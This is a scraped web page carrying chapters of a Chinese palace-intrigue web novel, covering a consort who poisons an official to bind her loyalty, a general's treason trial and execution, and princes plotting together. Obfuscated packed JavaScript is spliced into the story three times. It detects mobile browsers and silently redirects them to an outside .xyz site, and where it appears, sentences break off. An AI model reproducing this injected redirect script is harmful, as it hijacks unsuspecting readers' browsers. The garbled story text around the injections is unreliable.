回到观云阁,杨柯刚换下一身干净衣裳,屁股还没沾上凳子,便见景泰宫的檀若踩着满地雪粒走了进来。杨柯见到她的脸,又想起了观星阁的惊魂夜,心里不禁一颤。 “杨大人。”檀若立住脚,朝她福了个身。 杨柯扯出一个笑容,赶忙上前扶对方站起:“今日下着大雪,外面天这样冷,檀若姐姐怎么到我这儿来了?” 檀若笑了笑:“如今你是殿下近臣,我们景泰宫,自然要多走动走动。”又问道,“前日那枣泥山药糕,吃起来可还满意?”三日前,那盒糕点本是由宸妃娘娘特命人送去宇文泰书房的,檀若却特意分出半盒转赠到观云阁来。 杨柯心口微动,笑着点头:“入口即化,甜而不腻,很是清甜可口。” “那就好。”檀若握起她的手,声音轻柔了些,像是闺中姐妹在叙旧一般,“娘娘一个人在宫里寂寞,刚好这几日下雪了,想叫你过去,陪她赏赏雪。” 看来这便是今日檀若来此的目的了。章家在前朝风波不断,宇文泰屡次三番被叫去皇帝跟前,这个节骨眼儿上,宸妃还有兴致赏雪?这回她召自己过去,一定不简单。 杨柯转头对青桃道:“青桃,我随檀若姐姐去一趟景泰宫,你仔细看着火盆,莫要冷了屋子。” 青桃眼中微露担心:“姑娘早去早回。” 杨柯任由檀若牵着往门外走,雪渣子“哗”地扑到她脸上,刮得她睁不开眼。 抬手间,一道淡黄素伞挡在她面前,“这白毛风专往人身子里钻。”檀若又将伞往她这边倾了三分,抬手拢了拢杨柯脖颈前的斗篷,“妹妹这样单薄,可经不起冻。” 杨柯僵直着身子,任由檀若将她圈在伞下狭小的暖域里。若非对她为人心知肚明,如此亲昵关切的举动,杨柯差点儿要把她错认成多年的闺中知己了。 终于到了景泰宫,杨柯接过檀若手中的伞,递给了门前的侍女。 “娘娘在内殿里候着呢,且随我来。”檀若轻抬下颌示意。 二人跨过月洞门,层层门帘次第展开,每至一处,两侧宫人便如提线木偶般一齐抬手、掀起纱幔。曲曲折折绕了不知多少回,终于进了内殿。 宸妃正背对着她们,跪在房间正中的须弥座前,两侧分别摆着一尊三足加盖的铜香炉,炉盖上雕刻着细密的回纹,镂空处不断向外氤氲出淡淡青烟。 望着她虔诚的背影,杨柯不禁想,是在为刘家五十多口人超度吗?还是为那些在西北边境抛头颅洒热血的百万男儿?如此多的生灵,又要何时才能超度完呢? “娘娘,杨姑娘来了。”檀若轻声唤道。 跪坐在软垫上的宸妃静默了一瞬,而后缓缓起身,头冠上的东珠随着她的动作晃出冷光,那张熟悉的面容依旧淡然平静,仿佛这屋子里的轻烟能帮她将所有风雪都隔绝在视线之外。 “柯儿,路上可有受了寒?”她抬手虚扶,语气柔得像屋里的轻烟一般。 杨柯微屈双膝,叠手行礼:“多谢娘娘挂心,有檀若姐姐照应,臣一切安好。” 宸妃轻轻颔首,忽而目光稍移,扫过垂首侍立的檀若等人:“你们先下去吧。” 众人应声纷纷退下。 宸妃将目光重放到她身上:“上次见你时,还是初秋,一眨眼的功夫,都已经落雪了。” 杨柯看着窗外飞雪道:“惊风飘白日,光景驰西流。日子过得虽快,但娘娘看起来还是依旧如初。” 宸妃苦笑着摇头:“可惜本宫青春已逝,不知道还能有多少个雪天可以看了。” 杨柯开解道:“娘娘每日焚香礼佛,这般诚心,弥勒佛定会保佑娘娘长命百岁。” 宸妃被她逗笑:“柯儿果真伶牙俐齿,这几句让本宫不想相信也得相信了。泰儿身边有你这样的臂膀,当真是天赐的福分。” 杨柯拜谢道:“娘娘谬赞,实是殿下宽厚,愿给臣这等寒门子弟容身之所。这些日子承蒙殿下教诲,臣获益了不少。” 宸妃轻笑道:“你们年岁相仿,说话不像我们似的,总是话不投机半句多。” 杨柯目光微闪:“娘娘言重了。或许是殿下忙于政务,过段时日,待诸事平定,殿下定会常来请安。” 宸妃望向虚空处:“他已经长大了,有了自己的想法。有些话,说了也是枉然。”忽而将视线收回,落在杨柯身上,“你们志趣相近,本宫倒是觉得,若你开口,他或许能听进去。” 杨柯心里不禁生疑,这宸妃到底想做甚,让自己替她给宇文泰游说?她面上浅笑道:“殿下向来聪敏,岂是臣这等愚钝之辈能够随意左右的?” “若你也算愚钝,这天下便无聪明人了。”她指尖划过案上《金刚经》,突然话锋一转,“你方才提到曹子建的诗,本宫忽然想到,当年曹子建作此诗时,也恰逢曹操将要立嗣之时。” 图穷匕见,这会儿杨柯才明白她的真实用意,原来是冲着立储一事来的。 宸妃继续道:“端王倒台已有月余,如今朝中动荡不安,泰儿近日又频频被召去勤政殿,柯儿,你可有何看法?” 杨柯从座上起身,躬身跪在宸妃面前:“娘娘,既然您今日召臣前来,臣也不必再遮遮掩掩了。臣之所以愿意到殿下身边,正因臣认定了殿下乃天命所归,未来将龙袍加身,得主天下。” “好!有你这番话,也不辜负本宫对你青眼有加。”宸妃站起身来,环佩叮咚、珠玉相撞,清脆好听,“但立储一事事关重大、如履薄冰,本宫不得不万分谨慎,容不得半点儿闪失。”她忽然话锋一转,“你和伯喻的事,本宫有所耳闻。” 杨柯听了后脊发凉,方才自己对宸妃这番虚假作态,正是为了向她表明忠心,以免她再生疑窦。但怕就怕在,伯喻与自己曾经相恋一事会成为她眼里的沙子。 杨柯俯身跪首道:“请娘娘放心,臣与宣王殿下之事纯属宫中谣言。娘娘也知道,臣平日喜爱雕琢诗词,恰好宣王殿下精于辞赋,便时常在课后一同探讨,被宫人们碰见得多了,便有了这般流言。” 宸妃的眸子闪了闪:“无论你和伯喻之间是君子之交,还是男女之情,本宫不作多想。”她缓步踱到紫檀长案边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好,不愧是本宫看重的人。”宸妃脸上终于出现了发自内心的微笑,她伸手扶杨柯起身,“柯儿,从此以后,你就是我章家的人。” 杨柯心中倍感惨淡,服下这毒药,已是一重折磨,如今还要委身章家,那岂不是既吞了砒霜,又丢了清白? 她感受着丹药从咽喉一路往下,只觉喉间泛起腥甜,身子竟忍不住微微颤抖起来。 宸妃正握着她的手,因而有所察觉:“你放心,牵机丸虽药性猛烈,夜晚偶尔会有剧痛之感,但所幸有解药可医。每过三月,来景泰宫找本宫取便是。” 听完她的话,杨柯抖得更厉害了。 宸妃拍了拍她的手:“此事勿要告诉他人,就算是泰儿也休得吐露半字。”她轻轻俯身,眼眸中映出杨柯绝望的神情,“只要你乖乖听本宫的话,便不愁没有解药。” 杨柯喉间发紧:“多谢娘娘……” 走出了景泰宫,杨柯才发现冷汗已经浸透了全身。天色已经全黑,星光沉沉地砸将下来,让人喘不过气。 回到观云阁,望见房内烛光亮起,杨柯心里涌上一阵复杂。 从咽下这颗丹药开始,自己便被正式地拽进这场漩涡。若是想要反悔,门都没有了。这哪里是宸妃的定心丸,分明是捆住她的锁链。 可是,从此以后,自己便要被这颗小丸子束缚在深宫中了?想到此,杨柯心里便更觉如坠深渊。旋即她又宽慰地想,自己不过是个小小女官,哪里比得上白大人、王将军这样的肱骨之臣?也许,只要乖乖地按照宸妃的意思,为她办些不痛不痒的小事,总能等到拿解药的那天? 56.处决 雪终于停了。阳光从惨白的天空射下来,照得人睁不开眼睛。几个宫人攥着把比人还高的扫帚,在殿前的方场里扫着雪,呼啦呼啦的声音有节奏地抛进屋子里来。 早上醒来后,那颗赤红丸子的余威仍在,杨柯只觉得自己体内存活着一颗混世魔童,不知道何时便会作威作福,没想到《明斋广录》里的怪事也会发生在自己身上,不知道是该高兴还是该懊恼。换衣裳时,低头仔细检查了一遍身子,并未发现有什么异样。 到了晚上,杨柯照例去书房向宇文泰呈递这几日的文书。 汇报完毕后,宇文泰放下手里的雪峰毛尖,抬头凝着她,仿佛要从她身上看穿什么似的。 “殿下,我说的可有不对?”杨柯试探发问,但瞧着他的表情,怎么好像服毒的是他? 宇文泰道:“昨夜去景泰宫,额娘同你说了什么,那么晚才回来?” 杨柯吞吞吐吐地回答:“娘娘一个人无聊,找我去赏雪。” 他挑起浓眉:“大晚上的,赏什么雪?” “起初在赏雪,后来便聊了些体己话。” 宇文泰惊讶道:“额娘什么时候这么悠闲了?”视线一转,又定定看着她,“杨柯,若她同你说了什么重要的东西,你一定要告诉我,就像观星阁那晚一样,千万别瞒着我。” 杨柯一时语塞,自己要如何开口跟他讲?她扯出一个笑容:“殿下放心,我该说的都说了。” 宇文泰盯着她看了好一会儿,才道:“好,你先下去吧。” 杨柯转身迈出半步,身后熟悉的声音重又响起,语气中却隐有些滞涩:“雪停后寒气重,记得多穿些衣裳。” 她愣了愣,转身行礼:“……谢殿下。”起身时撞见他眼底的暖意,一时无措,只好装作如常一般走出门去。 一出书房,小顺子迎面而来,杨柯于是问道:“昨日陛下召见,可有发生什么?” 他叹了口气:“还不是刘家的事,据说刘将军临刑前,留下了一串通敌名单,涉及到兵部和军中不少大将。” 拔出萝卜带出泥,当初刘将军出事,杨柯便料到会有这么一天。 “那陛下什么反应?” 小顺子皱了皱眉:“这个说来也奇怪,殿下去面见圣上时,圣上还有心思喝酒呢。不过刚一进去,便将我们这些奴才支走了,具体说了什么,奴才不知道。不过殿下到现在为止,连眼都还没闭过。” 杨柯心里一惊,宇文泰竟然忙了整整一夜,怪不得方才汇报时,看他下颌的胡渣都多了些。 小顺子又道:“让殿下烦心的,还有另一件事。” “什么事?” 他沉默了一会,开口道:“陛下晌午时传了信来,要召姑娘去做御侍令。” 杨柯不禁感叹,宸妃的消息还是太过灵通了些。她又寻思道,此事莫不是宸妃特意筹划?安排自己以细作身份侍奉在陛下跟前儿,时不时地为宇文泰递上些好话。 见她神色木然,小顺子道:“杨姑娘,您也莫担心,这事儿有殿下在上头顶着呢。说不定过几日,陛下就忘了这事儿了。” 杨柯心想,哪有这样的好事?这事一定是早有安排。再说了,若自己不去,岂不是辜负了宸妃特意为她准备的厚礼? “不用劳烦殿下,我愿意去。” 小顺子闻言一惊,赶忙道:“切莫冲动啊,侍奉陛下可不是闹着玩儿的!” 杨柯笑道:“我明白。” 小顺子担忧道:“若姑娘执意要去,最好还是先同殿下商量商量。”说完还不放心,又拉了拉她的衣袖,“不过最好现在别去,等晚一些了,殿下空闲时再去。” 话音刚落,一个身着紫色长袍的男子大步从殿外走了进来,杨柯一眼便认出此人就是在邓府见过的刑部侍郎魏长明。 小顺子立刻堆笑迎了出去:“魏大人。” 魏长明颔首道:“泰儿在里面?” “正等着大人呢,您里边儿请。” 待魏长明进去后,小顺子低声向杨柯介绍道:“这是刑部尚书魏长明魏大人,孔阳公主的夫君。”杨柯听言瞪大了眼睛,抻着脖子又去探来人,想好生瞧瞧这个魏长明的模样。 “姐夫,你来得正好。”宇文泰的声音从里面传来,“刘生的供词我已经看过,他倒是招得明明白白。” 魏长明摇摇头:“都已满门抄家了,还有什么隐瞒的必要?”他想起了什么,又继续道,“泰儿,我已向陛下提交了三司会审的奏疏,几个罪行深重的公开审理,以正视听。” “多谢姐夫配合。” “前线那边有何动向?” “听闻军中已经传开了刘生的丑闻,有些议论更是指向了章家。我昨夜已向父皇上书了兵部檄文,请求拨付双倍军饷至擎哥麾下,并奏请父皇赐予他‘忠毅伯’的爵位。” “嗯,兹事体大,稳住前线是第一要义,切不可勾起章擎的叛心。 宇文泰微微一笑:“这个姐夫倒是多虑了。” “那就好。”魏长明顿了顿,压低声音道,“章老将军那边……如何说?” “以‘驭下不严’追责,削爵罚俸,保留大将军名号但上交所有兵权。”他静了片刻,“想来,舅舅这几日便会回京。” “在这个风口浪尖上回京,岂不是很危险?” “只有他亲自回来主动请辞,父皇才会愿意留下章家最后一条活路。” 魏长明神色凝重:“事到如今,也只好如此了。这些消息可否封锁?” “放心,涉案之人都以‘秘密调查’的名义悉数控制在府内,昨日我已派遣刑部司正前去审问,他们全都如实招了罪行。” “这些人大多是为上头跑腿,糊里糊涂地干了足以灭门的罪行。”魏长明摇头感叹,“章家这么一折腾,元气大伤啊。我听说,你把章家年轻子弟也编入了禁军十二卫里?” 宇文泰点头道:“是。父皇最忌惮的,一是舅舅手上的兵权,二是章家在京城的势力。唯有斩断章家新生代与旧部的联结,才能彻底消除隐患。好在留守京城的旧部尚有转圜余地。我给了他们选择,要么重新上前线,刚好能弥补这段时日兵力不足的缺口。立功者既往不咎,战死者厚恤家族,所幸大半都愿意赴职。我在他们身边也已安插了人手,以便控制,防止叛变。但那些不配合的,只能依法处置。” 魏长明听完肯定点头:“命都快没了,朝廷抛来个橄榄枝,有何不接的理由?” 话音刚落,小顺子跑了进来:“殿下,李将军提请上奏。” 宇文泰眼神一暗,静了良久后,方道:“好,我们立刻就去。” 魏长明问道:“可是李冲李将军?” “刘喜已经认罪伏法。三品将领中,唯独剩下他了。” 刑部正堂内,两侧的九兽铜炉青烟缭绕,三司主官分坐紫檀圈椅两侧。宇文泰身穿玄色獬豸补服,行至主案前坐下。 “带通敌要犯!”大理寺少卿击响惊堂木,铁链声由远及近。李冲被宗□□执金吾押入,原本的黑发已染上了缕缕白丝,唯有身上的衣裳还穿戴完整。 刑部司务捧出三匣证据:“雁门城一役的边关布防图三卷,人证九名,通敌密信七封,兵部勘验笔迹无误。” 话音落下,大理寺少卿道:“李冲,你有何异议?” 李冲平静地开口:“末将认罪。” 宇文泰忽然插言道:“李将军,按《大夏刑统》该判你死罪。但本王好奇,”他蓦然抬眼,如鹰隼一般盯住李冲,“你书房暗格里那尊地藏菩萨像,为何刻着‘慈航普渡’四个字?” 李冲嘶哑低笑道:“将死之人拜佛,殿下也要管?” “这我确实管不着,不过昭明十四年腊月十七,你带着三百轻骑冒雪驰援被围困的义县,”他缓缓走近,拧眉逼视李冲,“冻掉两根手指都不肯弃刀的李疯子,会为几箱金锭卖国?” 李冲咧开一口黄牙:“好个青天大老爷!您要不再去瞧瞧卑职府里的金钻?”嘴里笑声渐响,竟咳出了血沫,“末将就是个见钱眼开的孬种!” “你倒是招认得痛快。”宇文泰的眸中露出痛惜之意,随即被扯开的嘴角抹去,“昨夜有人去刑部递了个状子,从那上面看来,夫人与您果真是夫妻同心。” “祸不及妻孥!殿下!”李冲目眦欲裂,手里的铁链哗啦作响。 “放肆!”宗□□宗令掷出玉牒金册,“你既入宗□□黑册,今日三司会审,问罪通夷,岂容咆哮公堂!” 等李冲冷静了下来,宇文泰垂眸淡淡道:“不过那状子并无什么证据,李将军倒是不必急躁。” 李冲的喉间溢出呜咽:“卑职该死……还望殿下明察,勿要杀害无辜!” 宇文泰拍了拍他的肩膀,俯身低声道:“你若以戴罪之身去西北当个马前卒,尚能活着见到妻儿。” 他等待着对方给出情理之中的点头,却听见最不愿听到的回答:“卑职愧为大夏将领,还请殿下降罪!”句句清晰,字字刺心。 几天后,宇文泰走上大理寺的刑场。空荡荡的刑场内,退居十年之久的老将李冲慨然赴死。那把鬼头刀砍下,鲜血顺着雨水淌了一地,很快又被接踵而至的雨点踢散开去。 宇文泰不禁阖上了双眼,可那沉默的黑暗里,却清楚地遍布着鲜艳的红色,久久挥散不去。 半日过去,宇文泰从大理寺出来,门口凑着一撮人,笼着袖子围在墙边的告示牌前讨论着什么。 “哎,你们听说没,今天是李冲处斩的日子。” “哼,卖国贼,赶紧杀了!” “不只是他,还有刘喜,”一人啧啧嘴,“都是三品大将啊,当年立下汗马功劳,没想到竟被柔然几箱金银财宝给收买了,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519191|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是可惜。” 方才说话那人扬声道:“要不是刘生交代了证据,谁信呐!” “诶,奇了怪了,我们院子隔壁住进来了几个老兵油子,全是从朔州前线回来的,偏要给李冲和刘喜供长生牌位。” “这帮人是不是打仗打傻了?” 众人正讨论着,忽然一声冷笑从身旁传来:“无脑小儿,只知议论英雄良将。” 众人循声望去,只见说话之人容貌粗丑,一身灰白袍子,身材短小厚实,看来是个练家子。 还未等众人作出反应,却听一直默然静立的宇文泰开口问道:“你是李城?” 那人闻声回头,也不作揖,兀自负手而立,带着嘲弄的语气道:“大名鼎鼎的羲王爷,终于有幸得以一见。” 听了他的话,围观的几人脸色大变,刚想弯腰行礼,已经被宇文泰身旁的侍卫赶走了。 李城是李冲府中的门客,曾经跟着李冲上过战场,后来腿部受了重伤,便退了下来,回到京城。他见众人皆被驱散,不由得嗤笑道:“怎么,说话还怕人听见?” 一个侍卫讥讽道:“我们是怕有人聚众闹事。” “我呸!假惺惺的,贼喊捉贼!” 这个李城如此放肆,宇文泰反倒不怒也不急,“李将军的遗体会留给李府,他们应该已经进去了。” 李城冷哼一声:“轮不着你来装好人,将军的遗体我们自会保护好。” 宇文泰问他道:“你不进去么?” 李城眯起眼睛,探出脖颈:“殿下着什么急?”脸上挂起了意味不明的笑容,“今日我来大理寺,并非仅仅为将军送行。” 宇文泰的神态始终坦然,连眉目都不曾牵动过:“难道你想在大理寺前鸣冤叫屈?” 李城大喊一声:“犯不着!”他伸手指向天空,“哪儿还有青天大老爷?这世道,越发让百姓看不清啦!” “放肆!光天化日之下胡言乱语,不怕被抓进宗□□?”宇文泰身侧的侍卫见他越发嚣张,忍不住上前喝止。 “胡言乱语?”他走近那侍卫,拍了拍他的脸,“小崽子,人心隔肚皮——” 那侍卫厌恶地后退了几步,李城反倒嗤笑出来,“章家老儿欠了多少人命!若不是他,将军哪会做出悖逆大夏的事情!” 宇文泰眼中一闪:“你知道其中缘由?” 李城的视线回到宇文泰身上:“李将军当年在天河守城的时候,误判了柔然的攻势,死了不少兵,他自己也差点儿丢了性命。这事儿成了他心里过不去的坎儿。章满知道了以后,拿此作为要挟,李将军若不配合,他就要将此事公之于众。”他猛啐一口,“事到如今,你们宇文家还要护着章家!光拿几个将军当作垫背的就能息事宁人、瞒过百姓?” 宇文泰只是看着他道:“通敌一事不可大肆宣扬。” 他大喊道:“这等丑闻捂得住吗?” 侍卫个个面面相觑,皆沉默了下来。 李城见他们都默不作声,又继续道:“你们还妄想收编李将军继续为宇文家卖命?你们根本不配!”他越说越气,上前逼视着宇文泰,“怎么了,生气了?快来恼羞成怒一个给我看看,你和你舅舅不是最喜欢杀人吗?索性把我也抓进去,一道杀了就是!” 宇文泰不怒也不急,隐约笑道:“大理寺不抓无罪之人,纵使你想进去,我们也没权让你进。” 李城听了这话,反倒笑了出来:“真是一张好嘴。怪不得全京城的女子都想嫁给你呢!”说完笑意一收,“你骗得了别人,骗不了我!你们有兵有马,我没刀没枪,但我有一颗精忠报国的心!” 话音刚落,一道寒光乍现。 “护驾!”侍卫大喝一声,可还没等他们抽出刀来,李城手中的短刃已经扎进了血肉。 众人愣在原地,不为别的,而是因为那匕首刺向了他自己。 宇文泰上前欲夺过匕首,却被他一把拦下。 “吾等背弃家国,犯下滔天罪行,今日唯有以命相抵,血债血还!”他将匕首往胸腔里按了进去,一口鲜血从他喉咙蓬出,全都吐在了宇文泰伸来的衣袖上,他死死地盯着宇文泰,一字一句道,“我们李家人,仰不愧于天,俯不怍于人。这辈子绝不做苟且偷生之事!”说完,便仰头栽倒在了地上,一双眼睛瞪着天空,颈间流出的鲜血淌了一地,活生生地展示着死亡。 宇文泰大喝道:“送去王府医治!” 侍从犹豫道:“可此人……” “救人要紧!” “是!” 众人翻身上马,奔向羲王府的方向。血液渗过了宇文泰的衣袖,爬上了他的手臂,那冰凉黏腻的触感提醒着他来自脚底的愤怒。这愤怒是他害怕想起的东西,也是他害怕想不起的东西。是树后的影,灯下的黑,是托举起宇文一族最坚实的力量,也是绊倒宇文一族最隐蔽的陷阱。 57.对手 自从回宫以后,兵部、刑部的事情一天比一天多,杨柯的职责虽是辅助批阅文书,但每晚呆在书房内的时间也拖到了四更结束,御侍令一事也被忙得忘到九霄云外去了,即便杨柯有心提,宇文泰也无心去听,因为他眼底的憔悴和疲惫一天比一天深重。 从兵部近日的折子来看,宇文泰近日破格提拔了不少寒门将领,其中的周平她倒是听师父提起过,家里只有一个母亲,三年前十分争气地考中了武状元。 不过,在刑部的文书里,大部分仍是刘生通敌案罪犯的供词与量刑,多到杨柯差点儿搞不清自己是为大夏的朝廷服务,还是在为地府的阎罗王干活。可想而知,亲手处理他们的宇文泰心中是何等煎熬。 其中抚西大将军李冲和征北将军刘喜虽已退居京城,但他们曾经的风云故事早就被兰鹤小生写进了《龙城佳话》里。小时候杨柯从水云间偷偷带回此书,在院子里的紫罗兰花藤下正看得津津有味,被杨涛抓个正着,他一把从杨柯手里抢过来,凝神看了一会,没想到他一边骂骂咧咧地说这兰鹤小生分明是在美化刘李二人,一边看得比女儿还带劲。 书上说的是,当年瀚海之战,还是普通士兵的李冲假扮敌军副将潜入敌营,斩了敌首。刘喜擅长勘察地势,带兵卒百余打通小路,使得偷袭敌营之计得以成功。 爹爹说,事实上,李冲进了柔然军营,差点儿认错了敌人,那被杀的柔然将军奎泥因为长得实在太矮太丑,被李冲当作了个看门的侍卫。不过幸好他贪杯,在人家柔然的宴席上多喝了会儿酒,才有机会认清人。至于刘喜,压根儿不会看地形,这事的起因竟然是出兵前一晚因为偷偷嫖妓被抓,刘喜为了逃生才带着一众兄弟们走了小路,误打误撞跑进了敌营里面,反倒和大夏军队打了个里应外合。 也不知道杨涛从哪里得来的这些野史传说。不过刘李二人经历此战后确实分封将军头衔,可没想到本要投奔的江云尧将军竟然身死柔然,只好投靠章满麾下。 这许多年,他们也战功赫赫,从未听过有什么负面的传闻,要不然坊间怎么会热衷于拿他们起家时的轶事当作赚钱的手段。可如此忠臣良将竟然也会做出通敌的勾当,究竟是出于自保还是迫于形势,杨柯也不得而知,不知道爹爹听闻这些后又会作何感想。 将将把最后一封文书整理完毕,杨柯伸了个懒腰,抬头望去,窗外的天空已经亮起了第一朵彤云。 咔哒!书堆里掉出一封黄皮纸,一看便是皇上写给宇文泰的手诏。 杨柯蹲下身子捡起黄皮纸,递给宇文泰:“殿下,今日文书都已处理完,这是最后一封……” 话刚说到一半,便见他趴在桌子上,双目紧闭,呼吸均匀。看来是累得睡着了,杨柯走了出去,向门外值班的彩鸣要了件袄子进来。 微弱的烛光打在他的脸上,即使在梦中,他挺直的眉宇依旧微微拧起,但脸上的凌厉已经散去,反而多了些孩子气。许是盖上衣服时碰到他的身子,他的睫毛轻颤,微微皱了皱眉,适应了光线后才缓缓睁开眼睛。 “殿下,你是不是几日没合眼了?”杨柯轻声问道。 他慢慢坐起身,深吸了口气,使劲捏了捏眼眶,道:“现在是什么时辰?” “已经过了寅时,要不去偏殿里睡一会儿吧。” 他看了杨柯一眼:“你方才要给我看什么?” 杨柯将桌上的手诏递给他:“这是白天陛下派人送来的手诏,其余的文书都已经处理完了。” 宇文泰道:“好,辛苦你了,跟着我忙了这么多天,先回房休息吧。” 杨柯道:“不急着这一时,等你看完这封我再走。” 他点了点头,脸上的疲惫已让他卸去了往常的敏锐,要放在平时一定会直接把杨柯支出去。 宇文泰将手诏打了开来。暗黄色的纸上密密麻麻,但其中清清楚楚地写着一行字:着令削去白韬兵部尚书一职。 “为何白大人会被……”她的话僵在了半空。 宇文泰道:“朝中多名大将涉及通敌,白韬是兵部尚书,自然要以儆效尤。” “可白大人是殿下多年的心腹,若他走了,殿下岂不是?” 他无奈道:“现在已不是我能够决定他们的去留了。” 杨柯忍不住恼怒:“陛下究竟想干什么?白大人身上并没有直接指向通敌的物证人证,将其余人犯的帽子扣到他的头上,未免有些牵强。” 宇文泰反倒是笑看了她一眼:“杨柯,你跟着我办了些事,看来脑子长进不少。” 杨柯闷闷道:“不知殿下这话是在笑话我还是在夸奖我。” 宇文泰这才正色道:“议论父皇的话以后不要再随意乱说。若是叫别人听见,难免会生事端。” 她低声咕哝:“多谢殿下提醒。” 宇文泰站起身,随手捞起椅背上的玄色大氅披在肩头:“折腾了一整夜,你先回去好好睡个觉吧。” 见他的架势,像是又要出去。杨柯试探着问道:“殿下不休息吗?” 宇文泰转头盯住她:“你今日怎么像个老妈子似的?” 被他猛的这么一问,杨柯一时语塞,只好结结巴巴地答道:“我……我是为了跟值班的彩鸣姐姐交代殿下的去向。” 宇文泰走到边上洗了把脸,嗓音被水声搅乱:“我会同她们说的,你管好自己便是。” 杨柯只好答应着,嘀嘀咕咕地踏出门去:“真不要命了,怕是哪天还得来给你收尸!” 方一回头,一道熟悉的白色身影闯入她的视线,杨柯瞬间被钉在了原地:伯喻正徐徐迈进殿内——阳光下的他,好似海市蜃楼。 杨柯的心再一次堕入他琥珀色的眼底,那抹熟悉的温存瞬间死灰复燃,好似破碎的泡影被时光逆流,伴着他的脚步,一点一点接近真实。 “怎么还在这?”宇文泰掀帘而出,龙涎香顿时将杨柯从幻梦中拉了回来:“我……” 宇文泰眼眸一转,触到伯喻的那一刹那,方才的疑惑随之解开。 他的目光又自作主张地闪回到杨柯身上,却发现,她的视线正如她的心绪一般,无处安放。 宇文泰的神色冷了下去。他如常迎接来客:“伯喻。” 对方如常朝他颔首。 但她从他身旁经过的那一瞬,他眸中闪过的隐痛和眷恋还是被他轻易捕捉。 武华殿内,分外安静,唯有珠帘仍在叮当乱响,恰如他们三人此刻的心声。 直到珠帘也偃旗息鼓,宇文泰的视线才终于从杨柯远去的背影收回,再开口时,语气中莫名裹了几分冰芒:“相信七弟已经看过从刘府搜出的书信。” 伯喻脸上又恢复了宣王的笑容:“二哥果然料事如神。” 宇文泰意味深长道:“这样的好事,怎能把伯喻落下?” 伯喻拱手一揖:“原来是二哥授的意,伯喻代影刃阁谢过二哥。” 宇文泰指尖轻抬,漫不经心道:“倒不必急着谢我,麟儿遭遇三名高手夹击,要成功脱身,难免得分出些肥肉来。” 伯喻轻声道:“他们动作太慢,还是比不过三哥手脚机灵。” 宇文泰微微挑眉:“若没有你呈上刘生通敌的证据,哪里轮得到我们去搜?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524921|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 伯喻坦然一笑:“看来二哥对今日早有准备。” 宇文泰这时才正色道:“我请你来,不是为了互相恭维。伯喻,你接下来如何打算?” “待二哥将眼下诸事办妥,再谈不迟。”他垂眸微笑,但笑意却未进眼底,“若在父皇面前稍有差池,我们的合作也无从谈起。当然以二哥的能力,这一天想必不会远。” 宇文泰不想跟他绕圈子了,索性直抒胸臆:“朝中不少大臣上书召回易望林,不知你有何想法。” 伯喻的眼底幽暗:“从他主动请辞的那一刻开始,就注定会回来。” 宇文泰似笑非笑:“父皇还真是大意,易家没打倒,反倒把大哥也赔进去了。那照你的意思来看,易家恐怕是要永坐高位了?” 伯喻停了一瞬,而后才道:“这世上哪有永远的道理?” 宇文泰颔首,眉间凝着阴翳:“七弟说的是。可易家在朝中势力根深蒂固,如何轻易便能连根拔起?” 伯喻直视他眼底翻涌的暗潮:“天欲其亡,必令其狂。二哥,这个道理,你应该比我更明白。” 宇文泰挑眉笑道:“跟聪明人说话就是舒服。不过我还有一个疑问,想请七弟解答。” 伯喻淡淡道:“二哥请讲。” “若要连根拔起,总得有个由头。易望林已犯了他这辈子最大的错误,难道还会再给你我一个机会?” 伯喻道:“暗礁隐于深海,唯待潮水消逝,方能显露出埋在水下的真相。易家这口老井,值得慢慢深挖。” 宇文泰眉间泛起愁云:“可就怕时间不等人。” “这世界上最不缺的就是有雄心的失败者,希望二哥不是其中一个,不然……”伯喻话音一顿。 “不然你的宏图大业就要少了一个对手。”宇文泰从容接下。 伯喻嘴角含笑:“二哥做人果真磊落。”他眼神忽转锐利,字字掷地有声,“但在七弟看来,二哥这样的人,更该是盟友。” 宇文泰安静了下来,他并不接话,反倒凝着伯喻,神情复杂:“伯喻,你背靠易家而起,如今却要亲手将其葬送,心中可曾有过犹豫?” 一片枯叶从枝桠上颤颤巍巍地飘落,无声无息。 “为国除奸宄,何惜一己身。虽负易家恩,大义不可违。”伯喻眸光如刃,“想来这句,二哥这些天,应该比我更知其中分量。” 宇文泰勾起嘴角,却带着些苦涩:“从某种角度上来说,我们是一样的人。” 伯喻笑道:“京中皆在议论,羲王以雷霆手段,血洗章氏一脉,铁腕整顿兵部。若论狠心,七弟自愧不如。” 宇文泰挑眉:“是么?要我看,你在对待女人这方面,反倒是更胜一筹。” “不过是做我该做的事罢了。”他的眼底闪过一丝暗淡,顿了一顿,“她……还好吗?” 宇文泰眸光微冷:“方才你也见到她了,觉得如何?” 伯喻神色凝重:“我希望她能安好。” 宇文泰冷冷道:“她为了你茶饭不思,终于折腾到现在这幅模样,”接着嗤笑一声,“怕也是熬不了太久。” 伯喻的瞳孔霎时微缩,如玉面容已是掩饰不住的凄绝之色。 宇文泰盯着他脸上的风云变幻,而后满意道:“看来杨柯没有爱错人。”见对方猛然抬头,他轻笑出声,“我骗你的。她比前段时日已经好了许多,能吃能喝能睡。” 伯喻欠身拱手道:“多谢二哥照顾。” 